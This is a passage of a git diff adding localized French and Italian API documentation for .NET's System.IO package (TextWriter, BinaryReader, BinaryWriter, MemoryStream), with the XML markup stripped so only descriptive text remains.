le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un tableau de caractères de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à écrire dans le flux de texte.Si a la valeur null, rien n'est écrit. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si a la valeur null, rien n'est écrit dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une marque de fin de ligne dans la chaîne ou le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur Boolean suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + La valeur Boolean à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Caractère à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un tableau de caractères suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Tableau de caractères dans lequel sont lues des données. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un sous-tableau de caractères suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Tableau de caractères dans lequel sont lues des données. + Dans , position de caractère à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + Le paramètre a la valeur null. + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur décimale suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur décimale à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 8 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 8 octets suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un objet en appelant la méthode ToString sur cet objet, suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Objet à écrire.Si a la valeur null, seule la marque de fin de ligne est écrite. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Chaîne à écrire.Si a la valeur null, seule la marque de fin de ligne est écrite. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à un). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à deux). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne, en utilisant la même sémantique que . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + Troisième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à trois). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne, en utilisant la même sémantique que . + Chaîne de format composite (consultez la section Notes). + Tableau d'objets contenant aucun, un ou plusieurs objets à mettre en forme et à écrire. + Une chaîne ou un objet est passé en tant que null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de mise en forme est inférieur à 0 (zéro), ou supérieur ou égal à la longueur du tableau . + 1 + + + Écrit la représentation textuelle d'un entier non signé de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier non signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier non signé de 8 octets suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier non signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un caractère suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un tableau de caractères suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à écrire dans le flux de texte.Si le tableau de caractères a la valeur null, seul la marque de fin de ligne est écrite. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul une marque de fin de ligne est écrite. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/it/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.5/it/System.IO.xml new file mode 100644 index 0000000..9bb2174 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.5/it/System.IO.xml @@ -0,0 +1,2123 @@ + + + + System.IO + + + + Legge i tipi di dati primitivi come valori binari in una determinata codifica. + 2 + + + Inizializza una nuova istanza della classe in base al flusso specificato e usando la codifica UTF-8. + Flusso di input. + Il flusso non supporta la lettura, è null o è già chiuso. + + + Inizializza una nuova istanza della classe in base alla codifica dei caratteri e del flusso specificata. + Flusso di input. + Codifica dei caratteri da usare. + Il flusso non supporta la lettura, è null o è già chiuso. + + è null. + + + Inizializza una nuova istanza della classe in base alla codifica dei caratteri e di flusso specificati. Facoltativamente mantiene aperto il flusso. + Flusso di input. + Codifica dei caratteri da usare. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + Il flusso non supporta la lettura, è null o è già chiuso. + + o è null. + + + Espone l'accesso al flusso sottostante dell'oggetto . + Flusso sottostante associato all'oggetto BinaryReader. + 2 + + + Rilascia tutte le risorse usate dall'istanza corrente della classe . + + + Rilascia le risorse non gestite usate dalla classe e facoltativamente le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Inserisce nel buffer interno il numero specificato di byte letti dal flusso. + Numero di byte da leggere. + È stata raggiunta la fine del flusso prima che fosse possibile leggere . + Si è verificato un errore di I/O. + I richiesti sono superiori alla dimensione del buffer interno. + + + Restituisce il successivo carattere disponibile senza spostare in avanti la posizione del byte o del carattere. + Carattere successivo disponibile oppure -1 se non sono disponibili altri caratteri o se il flusso non supporta la ricerca. + Si è verificato un errore di I/O. + Impossibile decodificare il carattere corrente nel buffer di caratteri interno tramite l'oggetto selezionato per il flusso. + 2 + + + Legge i caratteri dal flusso sottostante e sposta in avanti la posizione corrente del flusso secondo il valore Encoding usato e il carattere specifico che il flusso sta leggendo. + Carattere successivo dal flusso di input oppure -1 se non vi sono caratteri disponibili. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 2 + + + Legge il numero specificato di byte dal flusso, a partire da un punto specificato nella matrice di byte. + Numero di byte letti nell'oggetto .Può essere minore del numero di byte richiesti, se tale quantità di byte non è disponibile, oppure zero, se è stata raggiunta la fine del flusso. + Buffer in cui leggere i dati. + Punto di partenza nel buffer dal quale avviare la lettura nel buffer. + Numero di byte da leggere. + La lunghezza del buffer meno è minore di . -oppure-Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + + è null. + Il valore di o è negativo. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il numero specificato di caratteri dal flusso, a partire da un punto specificato nella matrice di caratteri. + Numero complessivo di caratteri letti nel buffer.Può essere minore del numero di caratteri richiesti, se tale quantità di caratteri non è attualmente disponibile, oppure zero, se è stata raggiunta la fine del flusso. + Buffer in cui leggere i dati. + Punto di partenza nel buffer dal quale avviare la lettura nel buffer. + Numero di caratteri da leggere. + La lunghezza del buffer meno è minore di . -oppure-Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + + è null. + Il valore di o è negativo. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero a 32 bit in formato compresso. + Intero a 32 bit in formato compresso. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + Flusso danneggiato. + + + Legge un valore Boolean dal flusso corrente e sposta in avanti di 1 byte la posizione corrente del flusso. + true se il byte è diverso da zero; in caso contrario, false. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il byte successivo dal flusso corrente e sposta in avanti di 1 byte la posizione corrente del flusso. + Byte successivo letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il numero specificato di byte dal flusso corrente in una matrice di byte e sposta in avanti la posizione corrente in base a tale numero di byte. + Matrice di byte contenente dati letti dal flusso sottostante.Può essere minore del numero di byte necessari se viene raggiunta la fine del flusso. + Numero di byte da leggere.Questo valore deve essere 0 o un numero non negativo; in caso contrario, si verificherà un'eccezione. + Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è negativo. + 2 + + + Legge il carattere successivo dal flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding usato e il carattere specifico letto dal flusso. + Carattere letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + È stato letto un carattere surrogato. + 2 + + + Legge il numero specificato di caratteri dal flusso corrente, restituisce i dati in una matrice di caratteri e sposta in avanti la posizione corrente secondo il valore Encoding usato e il carattere specifico letto dal flusso. + Matrice di caratteri contenente dati letti dal flusso sottostante.Può essere minore del numero di caratteri necessari se viene raggiunta la fine del flusso. + Numero di caratteri da leggere. + Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + Il flusso è chiuso. + Si è verificato un errore di I/O. + + è negativo. + 2 + + + Legge un valore decimale dal flusso corrente e sposta in avanti di sedici byte la posizione corrente del flusso. + Valore decimale letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un valore a virgola mobile a 8 byte dal flusso corrente e sposta in avanti di otto byte la posizione corrente del flusso. + Valore a virgola mobile a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 2 byte dal flusso corrente e sposta in avanti di 2 byte la posizione corrente del flusso. + Intero con segno a 2 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione corrente del flusso. + Intero con segno a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 8 byte dal flusso corrente e sposta in avanti di 8 byte la posizione del flusso. + Intero con segno a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un byte con segno dal flusso corrente e sposta in avanti di un byte la posizione corrente del flusso. + Byte con segno letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un valore a virgola mobile a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione corrente del flusso. + Valore a virgola mobile a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge una stringa dal flusso corrente.La stringa ha un prefisso di lunghezza e viene codificata come intero, 7 bit alla volta. + Stringa da leggere. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 2 byte dal flusso corrente usando la codifica little-endian e sposta in avanti di due byte la posizione del flusso. + Intero senza segno a 2 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero senza segno a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 8 byte dal flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero senza segno a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 2 + + + Scrive i tipi primitivi in codice binario in un flusso e supporta la scrittura di stringhe in una determinata codifica. + 2 + + + Inizializza una nuova istanza della classe che scrive in un flusso. + + + Inizializza una nuova istanza della classe in base alla codifica using UTF-8 e di flusso specificata. + Flusso di output. + Il flusso non supporta la scrittura o è già chiuso. + + è null. + + + Inizializza una nuova istanza della classe in base alla codifica caratteri e di flusso specificata. + Flusso di output. + Codifica dei caratteri da utilizzare. + Il flusso non supporta la scrittura o è già chiuso. + + o è null. + + + Inizializza una nuova istanza della classe in base alla codifica caratteri e di flusso specificata. Facoltativamente mantiene aperto il flusso. + Flusso di output. + Codifica dei caratteri da utilizzare. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + Il flusso non supporta la scrittura o è già chiuso. + + o è null. + + + Ottiene il flusso sottostante dell'oggetto . + Flusso sottostante associato a BinaryWriter. + 1 + + + Rilascia tutte le risorse utilizzate dall'istanza corrente della classe . + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Cancella i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + 1 + + + Specifica un oggetto privo di archivio di backup. + 1 + + + Contiene il flusso principale. + + + Imposta la posizione all'interno del flusso corrente. + Posizione all'interno del flusso corrente. + Offset dei byte relativo a . + Campo di che indica il punto di riferimento dal quale ottenere la nuova posizione. + Il puntatore a file è stato spostato in un percorso non valido. + Il valore di non è valido. + 1 + + + Scrive un valore Boolean a un byte nel flusso corrente, con 0 che rappresenta false e 1 che rappresenta true. + Valore Boolean da scrivere (0 o 1). + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un byte senza segno nel flusso corrente e sposta in avanti di un byte la posizione del flusso. + Byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive una matrice di byte nel flusso sottostante. + Matrice di caratteri che contiene i dati da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è null. + 1 + + + Scrive un'area di una matrice di byte nel flusso corrente. + Matrice di caratteri che contiene i dati da scrivere. + Punto iniziale nel parametro da cui iniziare la scrittura. + Numero di byte da scrivere. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un carattere Unicode nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Carattere Unicode non surrogato da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è un carattere surrogato singolo. + 1 + + + Scrive una matrice di caratteri nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + + è null. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 1 + + + Scrive una sezione di una matrice di caratteri nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + Punto iniziale in dal quale avviare la scrittura. + Numero di caratteri da inserire. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore decimale nel flusso corrente e sposta in avanti di 16 byte la posizione del flusso. + Valore decimale da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore a virgola mobile a otto byte nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Valore a virgola mobile a otto byte da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a due byte con segno nel flusso corrente e sposta in avanti di due byte la posizione del flusso. + Intero a due byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a quattro byte con segno nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero a quattro byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a otto byte con segno nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero a otto byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un byte con segno nel flusso corrente e sposta in avanti di un byte la posizione del flusso. + Byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore a virgola mobile a quattro byte nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Valore a virgola mobile a quattro byte da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive una stringa con prefisso di lunghezza nel flusso con la codifica corrente dell'oggetto e sposta in avanti la posizione corrente del flusso secondo la codifica utilizzata e i caratteri specifici scritti nel flusso. + Valore da scrivere. + Si è verificato un errore di I/O. + + è null. + Il flusso è chiuso. + 1 + + + Scrive un intero a due byte senza segno nel flusso corrente e sposta in avanti di due byte la posizione del flusso. + Intero a due byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a quattro byte senza segno nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero a quattro byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a otto byte senza segno nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero a otto byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Inserisce un valore intero a 32 bit in un formato compresso. + Intero da 32 bit da scrivere. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Il flusso è chiuso. + + + Eccezione generata durante il tentativo di leggere oltre la fine di un flusso. + 2 + + + Inizializza una nuova istanza della classe con la relativa stringa di messaggio impostata su un messaggio fornito dal sistema e il relativo HRESULT impostato su COR_E_ENDOFSTREAM. + + + Inizializza una nuova istanza della classe con la relativa stringa di messaggio impostata su e HRESULT impostato su COR_E_ENDOFSTREAM. + Stringa nella quale è descritto l'errore.Il contenuto di deve essere facilmente comprensibile.È necessario che il chiamante del costruttore assicuri che la stringa sia stata localizzata per le impostazioni cultura correnti del sistema. + + + Consente l'inizializzazione di una nuova istanza della classe con un messaggio di errore specificato e un riferimento all'eccezione interna che è la causa dell'eccezione corrente. + Stringa nella quale è descritto l'errore.Il contenuto di deve essere facilmente comprensibile.È necessario che il chiamante del costruttore assicuri che la stringa sia stata localizzata per le impostazioni cultura correnti del sistema. + Eccezione causa dell'eccezione corrente.Se il parametro non è null, l'eccezione corrente viene generata in un blocco catch in cui viene gestita l'eccezione interna. + + + Eccezione generata se un flusso di dati è in un formato non valido. + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con un messaggio di errore specificato. + Messaggio di errore nel quale viene indicato il motivo dell’eccezione + + + Inizializza una nuova istanza della classe con un riferimento all'eccezione interna che è la causa dell'eccezione. + Messaggio di errore nel quale viene indicato il motivo dell’eccezione + Eccezione causa dell'eccezione corrente.Se il parametro non è null, l'eccezione corrente viene generata in un blocco catch in cui viene gestita l'eccezione interna. + + + Crea un flusso il cui archivio di backup è costituito dalla memoria.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 2 + + + Inizializza una nuova istanza della classe con una capacità espandibile inizializzata su zero. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla matrice di byte specificata. + Matrice di byte senza segno da cui creare il flusso corrente. + + è null. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla matrice di byte specificata, con la proprietà impostata secondo quanto specificato. + Matrice di byte senza segno da cui creare il flusso. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + + è null. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla area specificata (indice) di una matrice di byte. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + + è null. + + o è minore di zero. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza non ridimensionabile della classe in base all'area specificata di una matrice di byte, con la proprietà impostata secondo quanto specificato. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + + è null. + + o è un valore negativo. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza della classe in base all'area specificata di una matrice di byte, con la proprietà impostata secondo quanto specificato e la possibilità di chiamare il metodo impostato nel modo specificato. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + true per abilitare il metodo , che restituisce la matrice di byte senza segno da cui è stato creato il flusso; in caso contrario, false. + + è null. + Il valore di o è negativo. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza della classe con una capacità espandibile inizializzata secondo quanto specificato. + Dimensione iniziale in byte della matrice interna. + + è negativo. + + + Ottiene un valore che indica se il flusso corrente supporta la lettura. + true se il flusso è aperto. + 2 + + + Ottiene un valore che indica se il flusso corrente supporta la ricerca. + true se il flusso è aperto. + 2 + + + Ottiene un valore che indica se il flusso corrente supporta la scrittura. + true se il flusso supporta la scrittura; in caso contrario, false. + 2 + + + Ottiene o imposta il numero di byte allocati per questo flusso. + Lunghezza della parte usabile del buffer per il flusso. + È stata impostata una capacità negativa o minore della lunghezza corrente del flusso. + Il flusso corrente è chiuso. + set è stato richiamato su un flusso del quale non è possibile modificare la capacità. + 2 + + + Legge in modo asincrono tutti i byte dal flusso corrente e li scrive in un altro flusso, usando le dimensione del buffer specificate e un token di annullamento. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero. + Token da monitorare per le richieste di annullamento. + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Rilascia le risorse non gestite usate dalla classe e facoltativamente le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Esegue l'override del metodo in modo che non venga effettuata alcuna operazione. + 2 + + + Rimuove in modo asincrono tutti i buffer per questo flusso e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scaricamento asincrona. + Token da monitorare per le richieste di annullamento. + Il flusso è stato eliminato. + + + Ottiene la lunghezza in byte del flusso. + Lunghezza del flusso in byte. + Il flusso è chiuso. + 2 + + + Ottiene o imposta la posizione corrente all'interno del flusso. + Posizione corrente all'interno del flusso. + La posizione è impostata su un valore negativo o maggiore di . + Il flusso è chiuso. + 2 + + + Legge un blocco di byte dal flusso corrente e scrive i dati in un buffer. + Numero complessivo di byte scritti nel buffer.Può essere minore del numero di byte richiesti se tale numero di byte non è al momento disponibile o pari a zero se è stata raggiunta la fine del flusso prima della lettura di qualsiasi byte. + Quando questo metodo viene restituito, contiene la matrice di byte specificata in cui i valori tra e ( + - 1) sono sostituiti dai caratteri letti dal flusso corrente. + Offset di byte in base zero in da cui iniziare l'archiviazione dei dati dal flusso corrente. + Numero massimo di byte da leggere. + + è null. + Il valore di o è negativo. + + sottratto alla lunghezza del buffer è minore di . + L'istanza del flusso corrente è chiusa. + 2 + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un byte dal flusso corrente. + Cast di byte su un oggetto o -1 se è stata raggiunta la fine del flusso. + L'istanza del flusso corrente è chiusa. + 2 + + + Imposta la posizione all'interno del flusso corrente sul valore specificato. + Nuova posizione all'interno del flusso, calcolata combinando il punto di riferimento iniziale e l'offset. + Nuova posizione all'interno del flusso.È relativa al parametro e può essere positiva o negativa. + Valore di tipo , che funge da punto di riferimento per la ricerca. + La ricerca viene tentata prima dell'inizio del flusso. + + è maggiore di . + Il valore di non è valido. -oppure- causato da un overflow aritmetico. + L'istanza del flusso corrente è chiusa. + 2 + + + Imposta la lunghezza del flusso corrente sul valore specificato. + Valore su cui impostare la lunghezza. + Il flusso corrente non è ridimensionabile e il parametro è maggiore della capacità corrente.-oppure- Il flusso corrente non supporta la scrittura. + + è negativo o maggiore della lunghezza massima dell'oggetto , in cui la lunghezza massima corrisponde a ( - origine) e l'origine corrisponde all'indice nel buffer sottostante in corrispondenza del quale inizia il flusso. + 2 + + + Scrive il contenuto del flusso in una matrice di byte, indipendentemente dalla proprietà . + Nuova matrice di byte. + 2 + + + Restituisce la matrice di byte senza segno da cui è stato creato questo flusso.Il valore restituito indica se la conversione è riuscita. + true se la conversione riesce; in caso contrario, false. + Segmento di matrice di byte da cui è stato creato questo flusso. + + + Scrive un blocco di byte nel flusso corrente usando dati letti da un buffer. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso corrente. + Numero massimo di byte da scrivere. + + è null. + Il flusso non supporta la scrittura.Per ulteriori informazioni, vedere .-oppure- La posizione corrente, rispetto al numero di byte specificati in , è più vicina alla fine del flusso e non è possibile modificare la capacità. + + sottratto alla lunghezza del buffer è minore di . + + o è un valore negativo. + Si è 